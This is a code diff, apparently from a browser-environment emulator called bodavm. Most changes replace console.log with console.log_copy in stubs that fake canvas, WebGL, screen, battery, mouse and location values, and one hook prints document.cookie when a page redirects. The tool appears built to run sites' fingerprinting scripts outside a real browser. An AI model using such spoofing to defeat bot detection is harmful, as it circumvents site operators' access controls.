console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `-> res -> ${context}`) break case 'experimental-webgl': - console.log(`HTMLCanvasElement_getContext `, `type->${type} `, `context->${context} !!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`HTMLCanvasElement_getContext `, `type->${type} `, `context->${context} !!!!!!!!!未完善!!!!!!!!!!!! `) context.__proto__ = bodavm.memory.globalobj['WebGLRenderingContext'].prototype; // bodavm.toolsFunc.setProtoAttr.call(context, "canvas", this); // bodavm.toolsFunc.setProtoAttr.call(this, "type", type); break default: - console.log(`HTMLCanvasElement_getContext `, `${type}属性未实现 `) + console.log_copy(`HTMLCanvasElement_getContext `, `${type}属性未实现 `) break } return context @@ -4239,27 +4526,27 @@ bodavm.envFunc.HTMLCanvasElement_width_set = function HTMLCanvasElement_width_set() { let width = arguments[0] this._bocanvas.width = width - console.log(`HTMLCanvasElement_width_set `, `width->${width}`); + console.log_copy(`HTMLCanvasElement_width_set `, `width->${width}`); return width } bodavm.envFunc.HTMLCanvasElement_height_set = function HTMLCanvasElement_height_set() { let height = arguments[0] this._bocanvas.height = height - console.log(`HTMLCanvasElement_width_set `, `height->${height}`); + console.log_copy(`HTMLCanvasElement_width_set `, `height->${height}`); return height } bodavm.envFunc.HTMLCanvasElement_toDataURL = function HTMLCanvasElement_toDataURL() { if (this._bocanvas) { let res = this._bocanvas.toDataURL() res._boisinit=true - console.log(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); + console.log_copy(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); return res // return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAQCAYAAABQrvyxAAAAAXNSR0IArs4c6QAAAjZJREFUSEvFlr9L1lEUxj8ujbU66GJ7DuGgc4lbUThJEG41uCm5hRBEPwhcMggSbE3dGpxcapAGEfoHInNoKZpcikfOgePx3O/7Dr52l+/7vfd7zz3Pc57n3HeI0+NvetfrkM1pzX8Xn1341CTwsErIE80JZ3CDBDMKfAAmEi3bwH3gF3AGQMW+78/J/o9q3AFuAg8sqbICFetRQpGQQVYg6/EKsA5sAgJy2z7YrpjNm1seiGAXgVngKbAMLACfAc0/A9YCc4ov9jaAq55IkEZlJsUZK2Kc8UBXBRS48oEYkV41pNF9YBx4DdyzRJ8EUK5vgRWjzu4n4HmRvZKfMoCXkzfKCvTDeGZf7OzY4dLpMPAH2AJ+AKsBQATslYlJyqAaDvRLYt4xdppYIJzt+Nvbalzzg7QmViWZl8C0JT2SALiEIqgMQNW7DtwFvjUadAnAk41Pl0619tiC+1PsPgLeAdeMOR0Uk9UW/84TrCoQmY5+8fklSS6auNVGcwUiIe+BXeCtTXpi30370ngE8NW6ibrIXmC4BSAD9bPdN0e9WmFXv9faETBjxnVmZeiYXASgb8S6DKtK9aqApCRviYg8FHelVYF+PaDg0roPN2hsm60KnEjANnZVQJ5SN1Nb7qxA/gsR2a/WxP488LFhsvOazneGx1X1NnMFslFj1/E19eLfFqWXBM8LRDNOlcAl4LixYw54AbwBvPMMPMmuAyoAt+zW+wkc2n2gK/8GcAC8ugDZ9E3KP5vHqyrasecsAAAAAElFTkSuQmCC' } else { debugger res = bodavm.memory.userInit.canvas_webgl res._boisinit=true - console.log(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); + console.log_copy(`HTMLCanvasElement_toDataURL `, `-> res->${res}`); return res // return 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAQCAYAAABQrvyxAAAAAXNSR0IArs4c6QAAAjZJREFUSEvFlr9L1lEUxj8ujbU66GJ7DuGgc4lbUThJEG41uCm5hRBEPwhcMggSbE3dGpxcapAGEfoHInNoKZpcikfOgePx3O/7Dr52l+/7vfd7zz3Pc57n3HeI0+NvetfrkM1pzX8Xn1341CTwsErIE80JZ3CDBDMKfAAmEi3bwH3gF3AGQMW+78/J/o9q3AFuAg8sqbICFetRQpGQQVYg6/EKsA5sAgJy2z7YrpjNm1seiGAXgVngKbAMLACfAc0/A9YCc4ov9jaAq55IkEZlJsUZK2Kc8UBXBRS48oEYkV41pNF9YBx4DdyzRJ8EUK5vgRWjzu4n4HmRvZKfMoCXkzfKCvTDeGZf7OzY4dLpMPAH2AJ+AKsBQATslYlJyqAaDvRLYt4xdppYIJzt+Nvbalzzg7QmViWZl8C0JT2SALiEIqgMQNW7DtwFvjUadAnAk41Pl0619tiC+1PsPgLeAdeMOR0Uk9UW/84TrCoQmY5+8fklSS6auNVGcwUiIe+BXeCtTXpi30370ngE8NW6ibrIXmC4BSAD9bPdN0e9WmFXv9faETBjxnVmZeiYXASgb8S6DKtK9aqApCRviYg8FHelVYF+PaDg0roPN2hsm60KnEjANnZVQJ5SN1Nb7qxA/gsR2a/WxP488LFhsvOazneGx1X1NnMFslFj1/E19eLfFqWXBM8LRDNOlcAl4LixYw54AbwBvPMMPMmuAyoAt+zW+wkc2n2gK/8GcAC8ugDZ9E3KP5vHqyrasecsAAAAAElFTkSuQmCC' } @@ -4269,20 +4556,20 @@ bodavm.envFunc.CanvasRenderingContext2D_textBaseline_set = function CanvasRenderingContext2D_textBaseline_set() { let textBaseline = arguments[0] this._bocanvas.textBaseline = textBaseline - console.log(`CanvasRenderingContext2D_textBaseline_set `, `textBaseline->${textBaseline}`); + console.log_copy(`CanvasRenderingContext2D_textBaseline_set `, `textBaseline->${textBaseline}`); return textBaseline } bodavm.envFunc.CanvasRenderingContext2D_font_set = function CanvasRenderingContext2D_font_set() { let font = arguments[0] this._bocanvas.font = font - console.log(`CanvasRenderingContext2D_font_set `, `font->${font}`); + console.log_copy(`CanvasRenderingContext2D_font_set `, `font->${font}`); return font } bodavm.envFunc.CanvasRenderingContext2D_fillStyle_set = function CanvasRenderingContext2D_fillStyle_set() { let fillStyle = arguments[0] this._bocanvas.fillStyle = fillStyle - console.log(`CanvasRenderingContext2D_fillStyle_set `, `fillStyle->${fillStyle}`); + console.log_copy(`CanvasRenderingContext2D_fillStyle_set `, `fillStyle->${fillStyle}`); return fillStyle } bodavm.envFunc.CanvasRenderingContext2D_fillRect = function CanvasRenderingContext2D_fillRect() { @@ -4291,7 +4578,7 @@ let arg2 = arguments[2] let arg3 = arguments[3] this._bocanvas.fillRect(arg0, arg1, arg2, arg3) - console.log(`CanvasRenderingContext2D_fillRect `, `fillRect->${arg0},${arg1},${arg2},${arg3}`); + console.log_copy(`CanvasRenderingContext2D_fillRect `, `fillRect->${arg0},${arg1},${arg2},${arg3}`); } bodavm.envFunc.CanvasRenderingContext2D_fillText = function CanvasRenderingContext2D_fillText() { @@ -4299,7 +4586,7 @@ let arg1 = arguments[1] let arg2 = arguments[2] this._bocanvas.fillText(arg0, arg1, arg2) - console.log(`CanvasRenderingContext2D_fillText`, `fillText->${arg0},${arg1},${arg2}`); + console.log_copy(`CanvasRenderingContext2D_fillText`, `fillText->${arg0},${arg1},${arg2}`); } @@ -4309,7 +4596,7 @@ bodavm.envFunc.location_hash_get = function location_hash_get() { if (bodavm.config.isdebug) { debugger } let hash = bodaobj.location.hash - console.log(`location_hash_get `, `hash_get->${hash} `); + console.log_copy(`location_hash_get `, `hash_get->${hash} `); return hash } @@ -4317,7 +4604,7 @@ if (bodavm.config.isdebug) { debugger } let arg = arguments[0] bodaobj.location.hash = arg - console.log(`location_hash_set `, `hash_set->${arg} `); + console.log_copy(`location_hash_set `, `hash_set->${arg} `); return arg } @@ -4326,40 +4613,40 @@ let ancestorOrigins = bodavm.memory.cache['location_ancestorOrigins_get'] ancestorOrigins['0']=bodavm.memory.location.ancestorOrigins['0'] ancestorOrigins.__proto__ = bodavm.memory.globalobj['DOMStringList'].prototype - console.log(`location_ancestorOrigins_get `, `${ancestorOrigins} `) + console.log_copy(`location_ancestorOrigins_get `, `${ancestorOrigins} `) if (bodavm.config.isdebug) { debugger } return ancestorOrigins } bodavm.envFunc.location_toString = function location_toString() { let href_ = bodaobj.location.toString() - console.log(`location_toString `, `${href_} `) + console.log_copy(`location_toString `, `${href_} `) if (bodavm.config.isdebug) { debugger } return href_ } bodavm.envFunc.location_href_get = function location_href_get() { let href = bodaobj.location.href - console.log(`location_href_get `, ` ${href} `) + console.log_copy(`location_href_get `, ` ${href} `) if (bodavm.config.isdebug) { debugger } return href } bodavm.envFunc.location_href_set = function location_href_set() { let href = arguments[0] bodaobj.location.href = href - console.log(`location_href_set `, `${href} `) + console.log_copy(`location_href_set `, `${href} `) if (bodavm.config.isdebug) { debugger } return href } bodavm.envFunc.location_port_set = function location_port_set() { let port = arguments[0] bodaobj.location.port = port - console.log(`location_port_set `, `${port} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_port_set `, `${port} `); if (bodavm.config.isdebug) { debugger }; return port } bodavm.envFunc.location_port_get = function location_port_get() { let port = bodaobj.location.port - console.log(`location_port_get `, `${port} `) + console.log_copy(`location_port_get `, `${port} `) if (bodavm.config.isdebug) { debugger } return port } @@ -4367,14 +4654,14 @@ bodavm.envFunc.location_protocol_set = function location_protocol_set() { let protocol = arguments[0] bodaobj.location["protocol"] = protocol - console.log(`location_protocol_set `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_protocol_set `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; return protocol } bodavm.envFunc.location_protocol_get = function location_protocol_get() { let protocol = bodaobj.location["protocol"] - console.log(`location_protocol_get `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_protocol_get `, `${protocol} `); if (bodavm.config.isdebug) { debugger }; return protocol } @@ -4382,13 +4669,13 @@ bodavm.envFunc.location_host_set = function location_host_set() { let host = arguments[0] bodaobj.location.host = host - console.log(`location_host_set `, `${host} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_host_set `, `${host} `); if (bodavm.config.isdebug) { debugger }; return host } bodavm.envFunc.location_host_get = function location_host_get() { let host = bodaobj.location.host - console.log(`location_host_get `, `${host} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_host_get `, `${host} `); if (bodavm.config.isdebug) { debugger }; return host } @@ -4396,13 +4683,13 @@ bodavm.envFunc.location_hostname_set = function location_hostname_set() { let hostname = arguments[0] bodaobj.location.hostname = hostname - console.log(`location_hostname_set `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_hostname_set `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; return hostname } bodavm.envFunc.location_hostname_get = function location_hostname_get() { let hostname = bodaobj.location.hostname - console.log(`location_hostname_get `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_hostname_get `, `${hostname} `); if (bodavm.config.isdebug) { debugger }; return hostname } @@ -4410,13 +4697,13 @@ bodavm.envFunc.location_pathname_set = function location_pathname_set() { let pathname = arguments[0] bodaobj.location.pathname = pathname - console.log(`location_pathname_set `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_pathname_set `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; return pathname } bodavm.envFunc.location_pathname_get = function location_pathname_get() { let pathname = bodaobj.location.pathname - console.log(`location_pathname_get `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_pathname_get `, `${pathname} `); if (bodavm.config.isdebug) { debugger }; // debugger return pathname } @@ -4425,11 +4712,11 @@ if (bodavm.config.isdebug) { debugger } let r = arguments[0] // res = bodaobj.location.replace(r) - console.log(`location_replace `, `replace->${r}`,); - console.log(`--------------------页面跳转停止执行--------------------`,); - console.log(`--------------------页面跳转停止执行--------------------`,); - console.log(`--------------------直接执行lastDeal--------------------`,); - console.log(document.cookie) + console.log_copy(`location_replace `, `replace->${r}`,); + console.log_copy(`--------------------页面跳转停止执行--------------------`,); + console.log_copy(`--------------------页面跳转停止执行--------------------`,); + console.log_copy(`--------------------直接执行lastDeal--------------------`,); + console.log_copy(document.cookie) throw ('End', `--------------------直接执行lastDeal--------------------`) @@ -4437,13 +4724,13 @@ bodavm.envFunc.location_search_set = function location_search_set() { let search = arguments[0] bodavm.memory.location["search"] = search - console.log(`location_search_set `, `${search} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_search_set `, `${search} `); if (bodavm.config.isdebug) { debugger }; return search } bodavm.envFunc.location_search_get = function location_search_get() { let search = bodavm.memory.location["search"] - console.log(`location_search_get `, `${search} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_search_get `, `${search} `); if (bodavm.config.isdebug) { debugger }; return search } @@ -4451,7 +4738,7 @@ bodavm.envFunc.location_origin_get = function location_origin_get() { let origin = bodaobj.location["origin"] - console.log(`location_origin_get `, `${origin} `); if (bodavm.config.isdebug) { debugger }; + console.log_copy(`location_origin_get `, `${origin} `); if (bodavm.config.isdebug) { debugger }; return origin } @@ -4462,13 +4749,13 @@ bodavm.envFunc.History_scrollRestoration_set = function History_scrollRestoration_set() { let scrollRestoration = arguments[0] bodavm.memory.history["scrollRestoration"] = scrollRestoration - console.log(`History_scrollRestoration_set `, `${scrollRestoration} `) + console.log_copy(`History_scrollRestoration_set `, `${scrollRestoration} `) if (bodavm.config.isdebug) { debugger } return scrollRestoration } bodavm.envFunc.History_scrollRestoration_get = function History_scrollRestoration_get() { let scrollRestoration = bodavm.memory.history["scrollRestoration"] - console.log(`History_scrollRestoration_get `, ` ${scrollRestoration} `) + console.log_copy(`History_scrollRestoration_get `, ` ${scrollRestoration} `) if (bodavm.config.isdebug) { debugger } return scrollRestoration } @@ -4478,75 +4765,75 @@ bodavm.envFunc.Screen_onchange_set = function Screen_onchange_set() { let onchange = arguments[0] bodavm.memory.screen["onchange"] = onchange - console.log(`Screen_onchange_set `, `${onchange} `) + console.log_copy(`Screen_onchange_set `, `${onchange} `) if (bodavm.config.isdebug) { debugger } return onchange } bodavm.envFunc.Screen_onchange_get = function Screen_onchange_get() { let onchange = bodavm.memory.screen["onchange"] - console.log(`Screen_onchange_get `, `${onchange} `) + console.log_copy(`Screen_onchange_get `, `${onchange} `) if (bodavm.config.isdebug) { debugger } return onchange } bodavm.envFunc.Screen_width_get = function Screen_width_get() { let width = bodavm.memory.screen["width"] - console.log(`Screen_width_get `, `${width} `) + console.log_copy(`Screen_width_get `, `${width} `) if (bodavm.config.isdebug) { debugger } return width } bodavm.envFunc.Screen_height_get = function Screen_height_get() { let height = bodavm.memory.screen["height"] - console.log(`Screen_height_get `, `${height} `) + console.log_copy(`Screen_height_get `, `${height} `) if (bodavm.config.isdebug) { debugger } return height } bodavm.envFunc.Screen_pixelDepth_get = function Screen_pixelDepth_get() { let pixelDepth = bodavm.memory.screen["pixelDepth"] - console.log(`Screen_pixelDepth_get `, `${pixelDepth} `) + console.log_copy(`Screen_pixelDepth_get `, `${pixelDepth} `) if (bodavm.config.isdebug) { debugger } return pixelDepth } bodavm.envFunc.Screen_colorDepth_get = function Screen_colorDepth_get() { let colorDepth = bodavm.memory.screen["colorDepth"] - console.log(`Screen_colorDepth_get `, `${colorDepth} `) + console.log_copy(`Screen_colorDepth_get `, `${colorDepth} `) if (bodavm.config.isdebug) { debugger } return colorDepth } bodavm.envFunc.Screen_availWidth_get = function Screen_availWidth_get() { let availWidth = bodavm.memory.screen["availWidth"] - console.log(`Screen_availWidth_get `, `${availWidth} `) + console.log_copy(`Screen_availWidth_get `, `${availWidth} `) if (bodavm.config.isdebug) { debugger } return availWidth } bodavm.envFunc.Screen_availLeft_get = function Screen_availLeft_get() { let availLeft = bodavm.memory.screen["availLeft"] - console.log(`Screen_availLeft_get `, `${availLeft} `) + console.log_copy(`Screen_availLeft_get `, `${availLeft} `) if (bodavm.config.isdebug) { debugger } return availLeft } bodavm.envFunc.Screen_availTop_get = function Screen_availTop_get() { let availTop = bodavm.memory.screen["availTop"] - console.log(`Screen_availTop_get `, `${availTop} `) + console.log_copy(`Screen_availTop_get `, `${availTop} `) if (bodavm.config.isdebug) { debugger } return availTop } bodavm.envFunc.Screen_orientation_get = function Screen_orientation_get() { let orientation = bodavm.memory.screen["orientation"] - console.log(`Screen_orientation_get `, `${orientation} `) + console.log_copy(`Screen_orientation_get `, `${orientation} `) if (bodavm.config.isdebug) { debugger } Object.setPrototypeOf(orientation, bodavm.memory.globalobj['ScreenOrientation'].prototype) return orientation } bodavm.envFunc.Screen_isExtended_get = function Screen_isExtended_get() { let isExtended = bodavm.memory.screen["isExtended"] - console.log(`Screen_isExtended_get `, `${isExtended} `) + console.log_copy(`Screen_isExtended_get `, `${isExtended} `) if (bodavm.config.isdebug) { debugger } return isExtended } bodavm.envFunc.Screen_availHeight_get = function Screen_availHeight_get() { let availHeight = bodavm.memory.screen["availHeight"] - console.log(`Screen_availHeight_get `, `${availHeight} `) + console.log_copy(`Screen_availHeight_get `, `${availHeight} `) if (bodavm.config.isdebug) { debugger } return availHeight } @@ -4560,7 +4847,7 @@ let name = arguments[0] let version = arguments[1] - console.log(`IDBFactory_open `, `name->${name} `, `version->${version} `) + console.log_copy(`IDBFactory_open `, `name->${name} `, `version->${version} `) let DB = { _boisinit:bodavm.config.isinit } @@ -4572,14 +4859,14 @@ bodavm.envFunc.IDBRequest_onerror_set = function IDBRequest_onerror_set() { let onerror = arguments[0] bodavm.memory.IDBRequest['onerror'] = onerror - console.log(`IDBRequest_onerror_set `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onerror_set `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onerror } bodavm.envFunc.IDBRequest_onerror_get = function IDBRequest_onerror_get() { let onerror = bodavm.memory.IDBRequest['onerror'] ? bodavm.memory.IDBRequest['onerror'] : undefined - console.log(`IDBRequest_onerror_get `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onerror_get `, `${onerror} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onerror @@ -4588,7 +4875,7 @@ bodavm.envFunc.IDBOpenDBRequest_onupgradeneeded_set = function IDBOpenDBRequest_onupgradeneeded_set() { let onupgradeneeded = arguments[0] bodavm.memory.IDBOpenDBRequest['onupgradeneeded'] = onupgradeneeded - console.log(`IDBOpenDBRequest_onupgradeneeded_set `, `${onupgradeneeded} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBOpenDBRequest_onupgradeneeded_set `, `${onupgradeneeded} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onupgradeneeded @@ -4598,7 +4885,7 @@ let onsuccess = arguments[0] bodavm.memory.IDBRequest['onsuccess'] = onsuccess - console.log(`IDBRequest_onsuccess_set `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onsuccess_set `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onsuccess @@ -4607,7 +4894,7 @@ let onsuccess = bodavm.memory.IDBRequest['onsuccess'] ? bodavm.memory.IDBRequest['onsuccess'] : undefined - console.log(`IDBRequest_onsuccess_get `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) + console.log_copy(`IDBRequest_onsuccess_get `, `${onsuccess} `, `!!!!!!!!!未完善!!!!!!!!!!!! `) if (bodavm.config.isdebug) { debugger } return onsuccess @@ -4618,7 +4905,7 @@ if (bodavm.config.isdebug) { debugger } let target = this. - console.log(`Event_target_get `, `target->${target} `); + console.log_copy(`Event_target_get `, `target->${target} `); return target } bodavm.envFunc.Event_srcElement_get = function Event_srcElement_get() { @@ -4628,7 +4915,7 @@ bodavm.envFunc.Event_timeStamp_get = function Event_timeStamp_get() { if (bodavm.config.isdebug) { debugger } let timstamp = bodavm.toolsFunc.getProtoAttr.call(this, "timeStamp"); - console.log(`Event_timeStamp_get `, `:timstamp->${timstamp} `); + console.log_copy(`Event_timeStamp_get `, `:timstamp->${timstamp} `); return timstamp } @@ -4637,63 +4924,64 @@ if (bodavm.config.isdebug) { debugger } let pageY = Math.ceil(Math.random() * 1000) - console.log(`MouseEvent_pageY_get `, `pageY->${pageY} `); + console.log_copy(`MouseEvent_pageY_get `, `pageY->${pageY} `); return pageY } bodavm.envFunc.MouseEvent_clientY_get = function MouseEvent_clientY_get() { if (bodavm.config.isdebug) { debugger } let clientY = bodavm.toolsFunc.getProtoAttr.call(this, "clientY") - console.log(`MouseEvent_clientY_get `, `clientY->${clientY} `); + console.log_copy(`MouseEvent_clientY_get `, `clientY->${clientY} `); return clientY } bodavm.envFunc.MouseEvent_clientX_get = function MouseEvent_clientX_get() { if (bodavm.config.isdebug) { debugger } let clientX_ = bodavm.toolsFunc.getProtoAttr.call(this, "clientX") - console.log(`MouseEvent_clientX_get `, `clientX_->${clientX_} `); + console.log_copy(`MouseEvent_clientX_get `, `clientX_->${clientX_} `); return clientX_ } bodavm.envFunc.MouseEvent_screenX_get = function MouseEvent_screenX_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_screenX_get !!!!!!!!!未完善!!!!!!!!!!!! `); + console.log_copy(`MouseEvent_screenX_get !!!!!!!!!未完善!!!!!!!!!!!! `); } bodavm.envFunc.MouseEvent_screenY_get = function MouseEvent_screenY_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_screenY_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); + console.log_copy(`MouseEvent_screenY_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); } bodavm.envFunc.MouseEvent_button_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_button_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); + console.log_copy(`MouseEvent_button_get !!!!!!!!!未完善!!!!!!!!!!!!`, ` `); } bodavm.envFunc.MouseEvent_offsetX_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_offsetX_get `,); + console.log_copy(`MouseEvent_offsetX_get `,); } bodavm.envFunc.MouseEvent_offsetY_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_offsetY_get !!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`MouseEvent_offsetY_get !!!!!!!!!未完善!!!!!!!!!!!!`); } bodavm.envFunc.MouseEvent_x_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_x_get !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`MouseEvent_x_get !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.MouseEvent_y_get = function MouseEvent_button_get() { if (bodavm.config.isdebug) { debugger } - console.log(`MouseEvent_y_get !!!!!!!!!未完善!!!!!!!!!!!!`,); + console.log_copy(`MouseEvent_y_get !!!!!!!!!未完善!!!!!!!!!!!!`,); } bodavm.envFunc.Event_type_get = function Event_type_get() { if (bodavm.config.isdebug) { debugger } - let type = arguments[0] - console.log(`Event_type_get !!!!!!!!!未完善!!!!!!!!!!!!`, `type->${type}`); + let type = this._botype + // debugger + console.log_copy(`Event_type_get ->`, `type->${type}`); // debugger return type @@ -4701,25 +4989,25 @@ bodavm.envFunc.MouseEvent_pageX_get = function MouseEvent_pageX_get() { if (bodavm.config.isdebug) { debugger } let pageX = Math.ceil(Math.random() * 1000) - console.log(`MouseEvent_pageX_get `, `pageX->${pageX} `); + console.log_copy(`MouseEvent_pageX_get `, `pageX->${pageX} `); return pageX } //BatteryManager bodavm.envFunc.BatteryManager_level_get = function BatteryManager_level_get() { - console.log(`BatteryManager_level_get `, `1 `);; if (bodavm.config.isdebug) { debugger }; + console.log_copy(`BatteryManager_level_get `, `1 `);; if (bodavm.config.isdebug) { debugger }; return 1; } bodavm.envFunc.BatteryManager_chargingTime_get = function BatteryManager_chargingTime_get() { - console.log(`BatteryManager_chargingTime_get `, `0 `);; if (bodavm.config.isdebug) { debugger }; + console.log_copy(`BatteryManager_chargingTime_get `, `0 `);; if (bodavm.config.isdebug) { debugger }; return 0; } bodavm.envFunc.BatteryManager_charging_get = function BatteryManager_charging_get() { // debugger - console.log(`BatteryManager_chargingTime_get `, `true `); + console.log_copy(`BatteryManager_chargingTime_get `, `true `); ; if (bodavm.config.isdebug) { debugger }; return true; @@ -4728,32 +5016,32 @@ bodavm.envFunc.WebGLRenderingContext_drawingBufferHeight_get = function () { let drawingBufferHeight = 150; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawingBufferHeight_get `, `默认值drawingBufferHeight:${drawingBufferHeight} `); + console.log_copy(`WebGLRenderingContext_drawingBufferHeight_get `, `默认值drawingBufferHeight:${drawingBufferHeight} `); return drawingBufferHeight } bodavm.envFunc.WebGLRenderingContext_drawingBufferWidth_get = function () { let drawingBufferWidth = 300; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawingBufferWidth_get `, `默认值drawingBufferWidth:${drawingBufferWidth} `); + console.log_copy(`WebGLRenderingContext_drawingBufferWidth_get `, `默认值drawingBufferWidth:${drawingBufferWidth} `); return drawingBufferWidth } bodavm.envFunc.WebGLRenderingContext_enableVertexAttribArray = function WebGLRenderingContext_enableVertexAttribArray() { let index = arguments[0]; if (bodavm.config.isdebug) { debugger }; if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_enableVertexAttribArray !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} `); + console.log_copy(`WebGLRenderingContext_enableVertexAttribArray !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} `); } bodavm.envFunc.WebGLRenderingContext_getUniformLocation = function WebGLRenderingContext_getUniformLocation() { let program = arguments[0] let name = arguments[1]; - if (bodavm.config.isdebug) { debugger }; console.log(`WebGLRenderingContext_getUniformLocation `, `program:${program} name:${name}`, `!!!!!!!!!未完善!!!!!!!!!!!!`); + if (bodavm.config.isdebug) { debugger }; console.log_copy(`WebGLRenderingContext_getUniformLocation `, `program:${program} name:${name}`, `!!!!!!!!!未完善!!!!!!!!!!!!`); return null } bodavm.envFunc.WebGLRenderingContext_getAttribLocation = function WebGLRenderingContext_getAttribLocation() { let program = arguments[0] let name = arguments[1] - console.log(`WebGLRenderingContext_getAttribLocation `, `program:${program} name:${name} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); + console.log_copy(`WebGLRenderingContext_getAttribLocation `, `program:${program} name:${name} `, `!!!!!!!!!未完善!!!!!!!!!!!!`); if (bodavm.config.isdebug) { debugger }; return null @@ -4761,7 +5049,7 @@ bodavm.envFunc.WebGLRenderingContext_getShaderPrecisionFormat = function WebGLRenderingContext_getShaderPrecisionFormat() { let shaderType = arguments[0] let precisionType = arguments[1] - console.log(`WebGLRenderingContext_getShaderPrecisionFormat `, `shaderType:${shaderType} precisionType:${precisionType} `); + console.log_copy(`WebGLRenderingContext_getShaderPrecisionFormat `, `shaderType:${shaderType} precisionType:${precisionType} `); if (shaderType == 35633 && precisionType == 36338) { let shade = {} shade._boisinit=true @@ -4776,7 +5064,7 @@ let v1 = arguments[2] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_uniform2f !!!!!!!!!未完善!!!!!!!!!!!!`, `location:${location} v0:${v0} v1:${v1} `); + console.log_copy(`WebGLRenderingContext_uniform2f !!!!!!!!!未完善!!!!!!!!!!!!`, `location:${location} v0:${v0} v1:${v1} `); } bodavm.envFunc.WebGLRenderingContext_vertexAttribPointer = function WebGLRenderingContext_vertexAttribPointer() { let index = arguments[0] @@ -4787,7 +5075,7 @@ let offset = arguments[5] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_vertexAttribPointer !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} size:${size} type:${type} normalized:${normalized} stride:${stride} offset${offset} `); + console.log_copy(`WebGLRenderingContext_vertexAttribPointer !!!!!!!!!未完善!!!!!!!!!!!!`, `index:${index} size:${size} type:${type} normalized:${normalized} stride:${stride} offset${offset} `); } bodavm.envFunc.WebGLRenderingContext_drawArrays = function WebGLRenderingContext_drawArrays() { @@ -4796,19 +5084,19 @@ let count = arguments[2] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_drawArrays !!!!!!!!!未完善!!!!!!!!!!!!`, `mode:${mode} first:${first} count:${count} `); + console.log_copy(`WebGLRenderingContext_drawArrays !!!!!!!!!未完善!!!!!!!!!!!!`, `mode:${mode} first:${first} count:${count} `); } bodavm.envFunc.WebGLRenderingContext_useProgram = function WebGLRenderingContext_useProgram() { let program = arguments[0] - console.log(`WebGLRenderingContext_useProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); + console.log_copy(`WebGLRenderingContext_useProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); if (bodavm.config.isdebug) { debugger }; } bodavm.envFunc.WebGLRenderingContext_linkProgram = function WebGLRenderingContext_linkProgram() { let program = arguments[0] - console.log(`WebGLRenderingContext_linkProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); + console.log_copy(`WebGLRenderingContext_linkProgram !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} `); if (bodavm.config.isdebug) { debugger }; @@ -4818,11 +5106,11 @@ let shader = arguments[1] if (bodavm.config.isdebug) { debugger }; - console.log(`WebGLRenderingContext_attachShader !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} shader:${shader} `); + console.log_copy(`WebGLRenderingContext_attachShader !!!!!!!!!未完善!!!!!!!!!!!!`, `program:${program} shader:${shader} `); } bodavm.envFunc.WebGLRenderingContext_createShader = function WebGLRenderingContext_createShader() { let type = arguments[0] - console.log(`WebGLRenderingContext_createShader `, `${type} `); + 